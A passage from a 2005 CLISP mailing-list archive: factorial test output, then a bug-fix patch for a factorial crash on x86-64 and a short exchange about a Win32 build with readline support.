11978571669969891796072783721689098736458938142546425857555362864628009582789845319680000000000000000 ! 71 850478588567862317521167644239926010288584608120796235886430763388588680378079017697280000000000000000 ! 72 61234458376886086861524070385274672740778091784697328983823014963978384987221689274204160000000000000000 ! 73 4470115461512684340891257138125051110076800700282905015819080092370422104067183317016903680000000000000000 ! 74 330788544151938641225953028221253782145683251820934971170611926835411235700971565459250872320000000000000000 ! 75 24809140811395398091946477116594033660926243886570122837795894512655842677572867409443815424000000000000000000 ! 76 1885494701666050254987932260861146558230394535379329335672487982961844043495537923117729972224000000000000000000 ! 77 145183092028285869634070784086308284983740379224208358846781574688061991349156420080065207861248000000000000000000 ! 78 11324281178206297831457521158732046228731749579488251990048962825668835325234200766245086213177344000000000000000000 ! 79 894618213078297528685144171539831652069808216779571907213868063227837990693501860533361810841010176000000000000000000 ! 80 71569457046263802294811533723186532165584657342365752577109445058227039255480148842668944867280814080000000000000000000 ! 81 5797126020747367985879734231578109105412357244731625958745865049716390179693892056256184534249745940480000000000000000000 ! 82 475364333701284174842138206989404946643813294067993328617160934076743994734899148613007131808479167119360000000000000000000 ! 83 39455239697206586511897471180120610571436503407643446275224357528369751562996629334879591940103770870906880000000000000000000 ! 84 3314240134565353266999387579130131288000666286242049487118846032383059131291716864129885722968716753156177920000000000000000000 ! 85 281710411438055027694947944226061159480056634330574206405101912752560026159795933451040286452340924018275123200000000000000000000 ! 86 24227095383672732381765523203441259715284870552429381750838764496720162249742450276789464634901319465571660595200000000000000000000 ! 87 2107757298379527717213600518699389595229783738061356212322972511214654115727593174080683423236414793504734471782400000000000000000000 ! 88 185482642257398439114796845645546284380220968949399346684421580986889562184028199319100141244804501828416633516851200000000000000000000 ! 89 16507955160908461081216919262453619309839666236496541854913520707833171034378509739399912570787600662729080382999756800000000000000000000 ! 90 1485715964481761497309522733620825737885569961284688766942216863704985393094065876545992131370884059645617234469978112000000000000000000000 ! 91 135200152767840296255166568759495142147586866476906677791741734597153670771559994765685283954750449427751168336768008192000000000000000000000 ! 92 12438414054641307255475324325873553077577991715875414356840239582938137710983519518443046123837041347353107486982656753664000000000000000000000 ! 93 1156772507081641574759205162306240436214753229576413535186142281213246807121467315215203289516844845303838996289387078090752000000000000000000000 ! 94 108736615665674308027365285256786601004186803580182872307497374434045199869417927630229109214583415458560865651202385340530688000000000000000000000 ! 95 10329978488239059262599702099394727095397746340117372869212250571234293987594703124871765375385424468563282236864226607350415360000000000000000000000 ! 96 991677934870949689209571401541893801158183648651267795444376054838492222809091499987689476037000748982075094738965754305639874560000000000000000000000 ! 97 96192759682482119853328425949563698712343813919172976158104477319333745612481875498805879175589072651261284189679678167647067832320000000000000000000000 ! 98 9426890448883247745626185743057242473809693764078951663494238777294707070023223798882976159207729119823605850588608460429412647567360000000000000000000000 ! 99 933262154439441526816992388562667004907159682643816214685929638952175999932299156089414639761565182862536979208272237582511852109168640000000000000000000000 ! 100 93326215443944152681699238856266700490715968264381621468592963895217599993229915608941463976156518286253697920827223758251185210916864000000000000000000000000 ! 101 9425947759838359420851623124482936749562312794702543768327889353416977599316221476503087861591808346911623490003549599583369706302603264000000000000000000000000 ! 102 961446671503512660926865558697259548455355905059659464369444714048531715130254590603314961882364451384985595980362059157503710042865532928000000000000000000000000 ! 103 99029007164861804075467152545817733490901658221144924830052805546998766658416222832141441073883538492653516385977292093222882134415149891584000000000000000000000000 ! 104 10299016745145627623848583864765044283053772454999072182325491776887871732475287174542709871683888003235965704141638377695179741979175588724736000000000000000000000000 ! 105 1081396758240290900504101305800329649720646107774902579144176636573226531909905153326984536526808240339776398934872029657993872907813436816097280000000000000000000000000 ! 106 114628056373470835453434738414834942870388487424139673389282723476762012382449946252660360871841673476016298287096435143747350528228224302506311680000000000000000000000000 ! 107 12265202031961379393517517010387338887131568154382945052653251412013535324922144249034658613287059061933743916719318560380966506520420000368175349760000000000000000000000000 ! 108 1324641819451828974499891837121832599810209360673358065686551152497461815091591578895743130235002378688844343005686404521144382704205360039762937774080000000000000000000000000 ! 109 144385958320249358220488210246279753379312820313396029159834075622223337844983482099636001195615259277084033387619818092804737714758384244334160217374720000000000000000000000000 ! 110 15882455415227429404253703127090772871724410234473563207581748318444567162948183030959960131517678520479243672638179990208521148623422266876757623911219200000000000000000000000000 ! 111 1762952551090244663872161047107075788761409536026565516041574063347346955087248316436555574598462315773196047662837978913145847497199871623320096254145331200000000000000000000000000 ! 112 197450685722107402353682037275992488341277868034975337796656295094902858969771811440894224355027779366597957338237853638272334919686385621811850780464277094400000000000000000000000000 ! 113 22311927486598136465966070212187151182564399087952213171022161345724023063584214692821047352118139068425569179220877461124773845924561575264739138192463311667200000000000000000000000000 ! 114 2543559733472187557120132004189335234812341496026552301496526393412538629248600474981599398141467853800514886431180030568224218435400019580180261753940817530060800000000000000000000000000 ! 115 292509369349301569068815180481773552003419272043053514672100535242441942363589054622883930786268803187059211939585703515345785120071002251720730101703194015956992000000000000000000000000000 ! 116 33931086844518982011982560935885732032396635556994207701963662088123265314176330336254535971207181169698868584991941607780111073928236261199604691797570505851011072000000000000000000000000000 ! 117 3969937160808720895401959629498630647790406360168322301129748464310422041758630649341780708631240196854767624444057168110272995649603642560353748940315749184568295424000000000000000000000000000 ! 118 468452584975429065657431236280838416439267950499862031533310318788629800927518416622330123618486343228862579684398745837012213486653229822121742374957258403779058860032000000000000000000000000000 ! 119 55745857612076058813234317117419771556272886109483581752463927935846946310374691578057284710599874844234646982443450754604453404911734348832487342619913750049708004343808000000000000000000000000000 ! 120 6689502913449127057588118054090372586752746333138029810295671352301633557244962989366874165271984981308157637893214090552534408589408121859898481114389650005964960521256960000000000000000000000000000 ! 121 809429852527344373968162284544935082997082306309701607045776233628497660426640521713391773997910182738287074185078904956856663439318382745047716214841147650721760223072092160000000000000000000000000000 ! 122 98750442008336013624115798714482080125644041369783596059584700502676714572050143649033796427745042294071023050579626404736512939596842694895821378210620013388054747214795243520000000000000000000000000000 ! 123 12146304367025329675766243241881295855454217088483382315328918161829235892362167668831156960612640202170735835221294047782591091570411651472186029519906261646730733907419814952960000000000000000000000000000 ! 124 1506141741511140879795014161993280686076322918971939407100785852066825250652908790935063463115967385069171243567440461925041295354731044782551067660468376444194611004520057054167040000000000000000000000000000 ! 125 188267717688892609974376770249160085759540364871492425887598231508353156331613598866882932889495923133646405445930057740630161919341380597818883457558547055524326375565007131770880000000000000000000000000000000 ! 126 23721732428800468856771473051394170805702085973808045661837377170052497697783313457227249544076486314839447086187187275319400401837013955325179315652376928996065123321190898603130880000000000000000000000000000000 ! 127 3012660018457659544809977077527059692324164918673621799053346900596667207618480809067860692097713761984609779945772783965563851033300772326297773087851869982500270661791244122597621760000000000000000000000000000000 ! 128 385620482362580421735677065923463640617493109590223590278828403276373402575165543560686168588507361534030051833058916347592172932262498857766114955245039357760034644709279247692495585280000000000000000000000000000000 ! 129 49745042224772874403902341504126809639656611137138843145968864022652168932196355119328515747917449637889876686464600208839390308261862352651828829226610077151044469167497022952331930501120000000000000000000000000000000 ! 130 6466855489220473672507304395536485253155359447828049608975952322944781961185526165512707047229268452925683969240398027149120740074042105844737747799459310029635780991774612983803150965145600000000000000000000000000000000 ! 131 847158069087882051098456875815279568163352087665474498775849754305766436915303927682164623187034167333264599970492141556534816949699515865660644961729169613882287309922474300878212776434073600000000000000000000000000000000 ! 132 111824865119600430744996307607616902997562475571842633838412167568361169672820118454045730260688510087990927196104962685462595837360336094267205134948250389032461924909766607715924086489297715200000000000000000000000000000000 ! 133 14872707060906857289084508911813048098675809251055070300508818286592035566485075754388082124671571841702793317081960037166525246368924700537538282948117301741317436012998958826217903503076596121600000000000000000000000000000000 ! 134 1992942746161518876737324194182948445222558439641379420268181650403332765909000151088003004705990626788174304488982644980314383013435909872030129915047718433336536425741860482713199069412263880294400000000000000000000000000000000 ! 135 269047270731805048359538766214698040105045389351586221736204522804449923397715020396880405635308734616403531106012657072342441706813847832724067538531441988500432417475151165166281874370655623839744000000000000000000000000000000000 ! 136 36590428819525486576897272205198933454286172951815726156123815101405189582089242773975735166401987907830880230417721361838572072126683305250473185240276110436058808776620558462614334914409164842205184000000000000000000000000000000000 ! 137 5012888748274991661034926292112253883237205694398754483388962668892510972746226260034675717797072343372830591567227826571884373881355612819314826377917827129740056802397016509378163883274055583382110208000000000000000000000000000000000 ! 138 691778647261948849222819828311491035886734385827028118707676848307166514238979223884785249055995983385450621636277440066920043595627074569065446040152660143904127838730788278294186615891819670506731208704000000000000000000000000000000000 ! 139 96157231969410890041971956135297253988256079629956908500367081914696145479218112119985149618783441690577636407442564169301886059792163365100096999581219760002673769583579570682891939608962934200435638009856000000000000000000000000000000000 ! 140 13462012475717524605876073858941615558355851148193967190051391468057460367090535696797920946629681836680869097041958983702264048370902871114013579941370766400374327741701139895604871545254810788060989321379840000000000000000000000000000000000 ! 141 1898143759076170969428526414110767793728175011895349373797246196996101911759765533248506853474785138972002542682916216702019230820297304827075914771733278062452780211579860725280286887880928321116599494314557440000000000000000000000000000000000 ! 142 269536413788816277658850750803729026709400851689139611079208959973446471469886705721287973193419489734024361060974102771686730776482217285444779897586125484868294790044340222989800738079091821598557128192667156480000000000000000000000000000000000 ! 143 38543707171800727705215657364933250819444321791546964384326881276202845420193798918144180166658987031965483631719296696351202501036957071818603525354815944336166154976340651887541505545310130488593669331551403376640000000000000000000000000000000000 ! 144 5550293832739304789551054660550388117999982337982762871343070903773209740507907044212761943998894132603029642967578724274573160149321818341878907651093495984407926316593053871805976798524658790357488383743402086236160000000000000000000000000000000000 ! 145 804792605747199194484902925779806277109997439007500616344745281047115412373646521410850481879839649227439298230298915019813108221651663659572441609408556917739149315905992811411866635786075524601835815642793302504243200000000000000000000000000000000000 ! 146 117499720439091082394795827163851716458059626095095089986332811032878850206552392125984170354456588787206137541623641592892713800361142894297576474973649309989915800122274950466132528824767026591868029083847822165619507200000000000000000000000000000000000 ! 147 17272458904546389112034986593086202319334765035978978227990923221833190980363201642519673042105118551719302218618675314155228928653088005461743741821126448568517622617974417718521481737240752909004600275325629858346067558400000000000000000000000000000000000 ! 148 2556323917872865588581178015776757943261545225324888777742656636831312265093753843092911610231557545654456728355563946494973881440657024808338073789526714388140608147460213822341179297111631430532680840748193219035217998643200000000000000000000000000000000000 ! 149 380892263763056972698595524350736933545970238573408427883655838887865527498969322620843829924502074302514052524979028027751108334657896696442372994639480443832950613971571859528835715269633083149369445271480789636247481797836800000000000000000000000000000000000 ! 150 57133839564458545904789328652610540031895535786011264182548375833179829124845398393126574488675311145377107878746854204162666250198684504466355949195922066574942592095735778929325357290444962472405416790722118445437122269675520000000000000000000000000000000000000 ! 151 8627209774233240431623188626544191544816225903687700891564804750810154197851655157362112747789971982951943289690774984828562603780001360174419748328584232052816331406456102618328128950857189333333217935399039885261005462721003520000000000000000000000000000000000000 ! 152 1311335885683452545606724671234717114812066337360530535517850322123143438073451583919041137664075741408695380032997797693941515774560206746511801745944803272028082373781327597985875600530292778666649126180654062559672830333592535040000000000000000000000000000000000000 ! 153 200634390509568239477828874698911718566246149616161171934231099284840946025238092339613294062603588435530393145048663047173051913507711632216305667129554900620296603188543122491838966881134795135997316305640071571629943041039657861120000000000000000000000000000000000000 ! 154 30897696138473508879585646703632404659201907040888820477871589289865505687886666220300447285640952619071680544337494109264649994680187591361311072737951454695525676891035640863743200899694758450943586711068571022031011228320107310612480000000000000000000000000000000000000 ! 155 4789142901463393876335775239063022722176295591337767174070096339929153381622433264146569329274347655956110484372311586936020749175429076661003216274382475477806479918110524333880196139452687559896255940215628508414806740389616633144934400000000000000000000000000000000000000 ! 156 747106292628289444708380937293831544659502112248691679154935029028947927533099589206864815366798234329153235562080607562019236871366935959116501738803666174537810867225241796085310597754619259343815926673638047312709851500780194770609766400000000000000000000000000000000000000 ! 157 117295687942641442819215807155131552511541831623044593627324799557544824622696635505477776012587322789677057983246655387237020188804608945581290772992175589402436306154362961985393763847475223716979100487761173428095446685622490578985733324800000000000000000000000000000000000000 ! 158 18532718694937347965436097530510785296823609396441045793117318330092082290386068409865488609988797000768975161352971551183449189831128213401843942132763743125584936372389347993692214687901085347282697877066265401639080576328353511479745865318400000000000000000000000000000000000000 ! 159 2946702272495038326504339507351214862194953894034126281105653614484641084171384877168612688988218723122267050655122476638168421183149385930893186799109435156968004883209906330997062135376272570217948962453536198860613811636208208325279592585625600000000000000000000000000000000000000 ! 160 471472363599206132240694321176194377951192623045460204976904578317542573467421580346978030238114995699562728104819596262106947389303901748942909887857509625114880781313585012959529941660203611234871833992565791817698209861793313332044734813700096000000000000000000000000000000000000000 ! 161 75907050539472187290751785709367294850142012310319093001281637109124354328254874435863462868336514307629599224875954998199218529677928181579808491945059049643495805791487187086484320607292781408814365272803092482649411787748723446459202305005715456000000000000000000000000000000000000000 ! 162 12296942187394494341101789284917501765723005994271693066207625211678145401177289658609880984670515317835995074429904709708273401807824365415928975695099566042246320538220924308010459938381430588227927174194100982189204709615293198326390773410925903872000000000000000000000000000000000000000 ! 163 2004401576545302577599591653441552787812849977066285969791842909503537700391898214353410600501293996807267197132074467682448564494675371562796423038301229264886150247730010662205704969956173185881152129393638460096840367667292791327201696065980922331136000000000000000000000000000000000000000 ! 164 328721858553429622726333031164414657201307396238870899045862237158580182864271307153959338482212215476391820329660212699921564577126760936298613378281401599441328640627721748601735615072812402484508949220556707455881820297436017777661078154820871262306304000000000000000000000000000000000000000 ! 165 54239106661315887749844950142128418438215720379413698342567269131165730172604765680403290849565015553604650354393935095487058155225915554489271207416431263907819225703574088519286376487014046409943976621391856730220500349076942933314077895545443758280540160000000000000000000000000000000000000000 ! 166 9003691705778437366474261723593317460743809582982673924866166675773511208652391102946946281027792581898371958829393225850851653767501982045219020431127589808697991466793298694201538496844331704050700119151048217216603057946772526930136930660543663874569666560000000000000000000000000000000000000000 ! 167 1503616514864999040201201707840084015944216200358106545452649834854176371844949314192140028931641361177028117124508668717092226179172831001551576411998307498052564574954480881931656928973003394576466919898225052275172710677111011997332867420310791867053134315520000000000000000000000000000000000000000 ! 168 252607574497319838753801886917134114678628321660161899636045172255501630469951484784279524860515748677740723676917456344471493998101035608260664837215715659672830848592352788164518364067464570288846442542901808782229015393754650015551921726612213033664926565007360000000000000000000000000000000000000000 ! 169 42690680090047052749392518888995665380688186360567361038491634111179775549421800928543239701427161526538182301399050122215682485679075017796052357489455946484708413412107621199803603527401512378815048789750405684196703601544535852628274771797464002689372589486243840000000000000000000000000000000000000000 ! 170 7257415615307998967396728211129263114716991681296451376543577798900561843401706157852350749242617459511490991237838520776666022565442753025328900773207510902400430280058295603966612599658257104398558294257568966313439612262571094946806711205568880457193340212661452800000000000000000000000000000000000000000 ! 171 1241018070217667823424840524103103992616605577501693185388951803611996075221691752992751978120487585576464959501670387052809889858690710767331242032218484364310473577889968548278290754541561964852153468318044293239598173696899657235903947616152278558180061176365108428800000000000000000000000000000000000000000 ! 172 213455108077438865629072570145733886730056159330291227886899710221263324938130981514753340236723864719151973034287306573083301055694802251980973629541579310661401455397074590303866009781148657954570396550703618437210885875866741044575478989978191912006970522334798649753600000000000000000000000000000000000000000 ! 173 36927733697396923753829554635211962404299715564140382424433649868278555214296659802052327860953228596413291334931704037143411082635200789592708437910693220744422451783693904122568819692138717826140678603271725989637483256524946200711557865266227200777205900363920166407372800000000000000000000000000000000000000000 ! 174 6425425663347064733166342506526881458348150508160426541851455077080468607287618805557105047805861775775912692278116502462953528378524937389131268196460620409529506610362739317326974626432136901748478076969280322196922086635340638923811068556323532935233826663322108954882867200000000000000000000000000000000000000000 ! 175 1124449491085736328304109938642204255210926338928074644824004638489082006275333290972493383366025810760784721148670387931016867466241864043097971934380608571667663656813479380532220559625623957805983663469624056384461365161184611811666936997356618263665919666081369067104501760000000000000000000000000000000000000000000 ! 176 197903110431089593781523349201027948917123035651341137489024816374078433104458659211158835472420542693898110922165988275858968674058568071585243060450987108613508803599172370973670818494109816573853124770653833923665200268368491678853380911534764814405201861230320955810392309760000000000000000000000000000000000000000000 ! 177 35028850546302858099329632808581946958330777310287381335557392498211882659489182680375113878618436056819965633223379924827037455308366548670588021699824718224591058237053509662339734873457437533572003084405728604488740447501223027157048421341653372149720729437766809178439438827520000000000000000000000000000000000000000000 ! 178 6235135397241908741680674639927586558582878361231153877729215864681715113389074517106770270394081618113953882713761626619212667044889245663364667862568799843977208366195524719896472807475423880975816549024219691598995799655217698833954618998814300242650289839922492033762220111298560000000000000000000000000000000000000000000 ! 179 1116089236106301664760840760547037993986335226660376544113529639778027005296644338562111878400540609642397745005763331164839067401035174973742275547399815172071920297548998924861468632538100874694671162275335324796220248138283968091277876800787759743434401881346126074043437399922442240000000000000000000000000000000000000000000 ! 180 200896062499134299656951336898466838917540340798867777940435335160044860953395980941180138112097309735631594101037399609671032132186331495273609598531966730972945653558819806475064353856858157445040809209560358463319644664891114256430017824141796753818192338642302693327818731986039603200000000000000000000000000000000000000000000 ! 181 36362187312343308237908191978622497844074801684595067807218795663968119832564672550353604998289613062149318532287769329350456815925726000644523337334285978306103163294146384971986648048091326497552386466930424881860855684345291680413833226169665212441092813294256787492335190489473168179200000000000000000000000000000000000000000000 ! 182 6617918090846482099299290940109294607621613906596302340913820810842197809526770404164356109688709577311175972876374017941783140498482132117303247394840048051710775719534642064901569944752621422554534336981337328498675734550843085835317647162879068664278892019554735323605004669084116608614400000000000000000000000000000000000000000000 ! 183 1211079010624906224171770242040000913194755344907123328387229208384122199143398983962077168073033852647945203036376445283346314711222230177466494273255728793463071956674839497876987299889729720327479783667584731115257659422804284707863129430806869565563037239578516564219715854442393339376435200000000000000000000000000000000000000000000 ! 184 222838537954982745247605724535360168027834983462910692423250174342678484642385413049022198925438228887221917358693265932135721906864890352653834946279054097997205240028170467609365663179710268540256280194835590525207409333795988386246815815268464000063598852082447047816427717217400374445264076800000000000000000000000000000000000000000000 ! 185 41225129521671807870807059039041631085149471940638478098301282253395519658841301414069106801206072344136054711358254197445108552770004715240959465061625008129482969405211536507732647688246399679947411836044584247163370726752257851455660925824665840011765787635252703846039127685219069272373854208000000000000000000000000000000000000000000000 ! 186 7667874091030956263970112981261743381837801780958756926284038499131566656544482063016853865024329456009306176312635280724790190815220877034818460501462251512083832309369345790438272470013830340470218601504292669972386955175919960370752932203387846242188436500157002915363277749450746884661536882688000000000000000000000000000000000000000000000 ! 187 1433892455022788821362411127495946012403668933039287545215115199337602964773818145784151672759549608273740254970462797495535765682446304005511052113773441032759676641852067662811956951892586273667930878481302729284836360617897032589330798322033527247289237625529359545172932939147289667431707397062656000000000000000000000000000000000000000000000 ! 188 269571781544284298416133291969237850331889759411386058500441657475469357377477811407420514478795326355463167934447005929160723948299905153036077797389406914158819208668188720608647906955806219449571005154484913105549235796164642126794190084542303122490376673599519594492511392559690457477160990647779328000000000000000000000000000000000000000000000 ! 189 50949066711869732400649192182185953712727164528751965056583473262863708544343306356002477236492316681182538739610484120611376826228682073923818703706597906776016830438287668195034454414647375475968919974197648576948805565475117361964101925978495290150681191310309203359084653193781496463183427232430292992000000000000000000000000000000000000000000000 ! 190 9680322675255249156123346514615331205418161260462873360750859919944104623425228207640470674933540169424682360525991982916161596983449594045525553704253602287443197783274656957056546338783001340434094795097553229620273057440272298773179365935914105128629426348958748638226084106818484328004851174161755668480000000000000000000000000000000000000000000000 ! 191 1848941630973752588819559184291528260234868800748408811903414244709323983074218587659329898912306172360114330860464468736986865023838872462695380757512438036901650776605459478797800350707553256022912105863632666857472153971092009065677258893759594079568220432651120989901182064402330506648926574264895332679680000000000000000000000000000000000000000000000 ! 192 354996793146960497053355363383973425965094809743694491885455534984190204750249968830591340591162785093141951525209177997501478084577063512837513105442388103085116949108248219929177667335850225156399124325817472036634653562449665740610033707601842063277098323069015230061026956365247457276593902258859903874498560000000000000000000000000000000000000000000000 ! 193 68514381077363375931297585133106871211263298280533036933892918251948709516798243984304128734094417522976396644365371353517785270323373257977640029350380903895427571177891906446331289795819093455185030994882772103070488137552785487937736505567155518212479976352319939401778202578492759254382623135959961447778222080000000000000000000000000000000000000000000000 ! 194 13291789929008494930671731515822733014985079866423409165175226140878049646258859332955000974414316999457420949006882042582450342442734412047662165693973895355712948808511029850588270220388904130305896013007257787995674698685240384659920882080028170533221115412350068243944971300227595295350228888376232520868975083520000000000000000000000000000000000000000000000 ! 195 2591899036156656511480987645585432937922090573952564787209169097471219681020477569926225190010791814894197085056341998303577816776333210349294122310324909594364025017659650820864712692975836305409649722536415268659156566243621875008684572005605493253978117505408263307569269403544381082593294633233365341569450141286400000000000000000000000000000000000000000000000 ! 196 508012211086704676250273578534744855832729752494702698292997143104359057480013603705540137242115195719262628671043031667501252088161309228461647972823682280495348903461291560889483687823263915860291345617137392657194686983749887501702176113098676677779711031060019608283576803094698692188285748113739606947612227692134400000000000000000000000000000000000000000000000 ! 197 100078405584080821221303894971344736599047761241456431563720437191558734323562679929991407036696693556694737848195477238497746661367777918006944650646265409257583733981874437495228286501182991424477395086576066353467353335798727837835328694280439305522603073118823862831864630209655642361092292378406702568679608855350476800000000000000000000000000000000000000000000000 ! 198 19815524305648002601818171204326257846611456725808373449616646563928629396065410626138298593265945324225558093942704493222553838950820027765375040827960551033001579328411138624055200727234232302046524227142061137986535960488148111891395081467526982493475408477527124840709196781511817187496273890924527108598562553359394406400000000000000000000000000000000000000000000000 ! 199 3943289336823952517761816069660925311475679888435866316473712666221797249817016714601521420059923119520886060694598194151288213951213185525309633124764149655567314286353816586186984944719612228107258321201270166459320656137141474266387621212037869516201606287027897843301130159520851620311758504293980894611113948118519486873600000000000000000000000000000000000000000000000 ! 200 788657867364790503552363213932185062295135977687173263294742533244359449963403342920304284011984623904177212138919638830257642790242637105061926624952829931113462857270763317237396988943922445621451664240254033291864131227428294853277524242407573903240321257405579568660226031904170324062351700858796178922222789623703897374720000000000000000000000000000000000000000000000000 From werner@suse.de Wed Dec 21 06:53:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ep5LN-0002eZ-Mo for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 06:53:29 -0800 Received: from ns.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ep5LM-0001xC-Ay for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 06:53:29 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 4EC4EE572 for ; Wed, 21 Dec 2005 15:53:23 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051221145319.GA1760@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> <20051219141900.GA10905@boole.suse.de> <20051219162753.GA19189@boole.suse.de> <20051221132629.GA489@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051221132629.GA489@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 21 06:54:06 2005 X-Original-Date: Wed, 21 Dec 2005 15:53:19 +0100 On Wed, Dec 21, 2005 at 02:26:29PM +0100, Dr. Werner Fink wrote: > > > > > > with the numbers = 17,20,21,22,23,.... > > > In other words, the numbers 1 ... 16, 18, and 19 do work > > > here on this x86_64 at least upto the (quit). > > > > The numbers 34 upto 124 do not crash the code above. > > Sam? What do you see if you're doing this > > for x in $(seq 1 200) ; do > echo "! $x" > echo "(ext:! $x)" | \ > ./lisp.run -E utf-8 -norc -B ../ -N locale -M lispinit.mem -m 30000KW -q > test $? -eq 0 || echo crash > done > > ...? OK, I now using this patch ... ----------------------------* snip *---------------------------------------- --- src/intmal.d +++ src/intmal.d 2005-12-21 15:09:43.000000000 +0100 @@ -921,7 +921,7 @@ #endif }; var uintV n_ = posfixnum_to_V(n); - if (n_ < sizeof(fakul_table)/sizeof(uintL)) { + if (n_ < sizeof(fakul_table)/sizeof(uintV)) { return fixnum(fakul_table[n_]); } else { pushSTACK(Fixnum_1); # bisheriges Produkt := 1 ----------------------------* snap *---------------------------------------- ... and it seems to work. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From zellerin@gmail.com Wed Dec 21 23:58:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EpLLO-0002s5-CP for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 23:58:34 -0800 Received: from zproxy.gmail.com ([64.233.162.199]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EpLLN-0008Sk-EJ for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 23:58:34 -0800 Received: by zproxy.gmail.com with SMTP id z3so324673nzf for ; Wed, 21 Dec 2005 23:58:32 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=EE+1DHRAsXFHJM+7ggKTQSVPQFU9dxRTsmJl+rhjWvubWIaSA81bDP8XM7yghwRF21Fuv/akuujiNRSyarV+Gw6rsdbVFBAXUBKemMWK7s261+ETjun9BZaw4OJFHx56ZfPYDZeOQcwimJTaDSsFV7SilkDbDkSaZ+jMSNFDqi8= Received: by 10.36.25.20 with SMTP id 20mr1676090nzy; Wed, 21 Dec 2005 23:58:32 -0800 (PST) Received: by 10.36.222.63 with HTTP; Wed, 21 Dec 2005 23:58:32 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Win32 binary with readline support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 21 23:59:02 2005 X-Original-Date: Thu, 22 Dec 2005 08:58:32 +0100 Hello, does anyone have somewhere for download? The sf version does not seem to have readline included. Thanks, Tomas Zellerin From kavenchuk@jenty.by Thu Dec 22 01:41:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EpMwn-0008Ep-PV for clisp-list@lists.sourceforge.net; Thu, 22 Dec 2005 01:41:17 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EpMwj-0007la-BD for clisp-list@lists.sourceforge.net; Thu, 22 Dec 2005 01:41:17 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YZ90ZNQD; Thu, 22 Dec 2005 11:42:42 +0200 Message-ID: <43AA751E.10501@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Tomas Zellerin CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Win32 binary with readline support References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 22 01:42:01 2005 X-Original-Date: Thu, 22 Dec 2005 11:42:54 +0200 Tomas Zellerin wrote: > Hello, > > does anyone have somewhere for download? The sf version does > not seem to have readline included. > > Thanks, > > Tomas Zellerin If nobody will help, I can build required configuration and upload in the place specified by you. -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 22 03:32:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 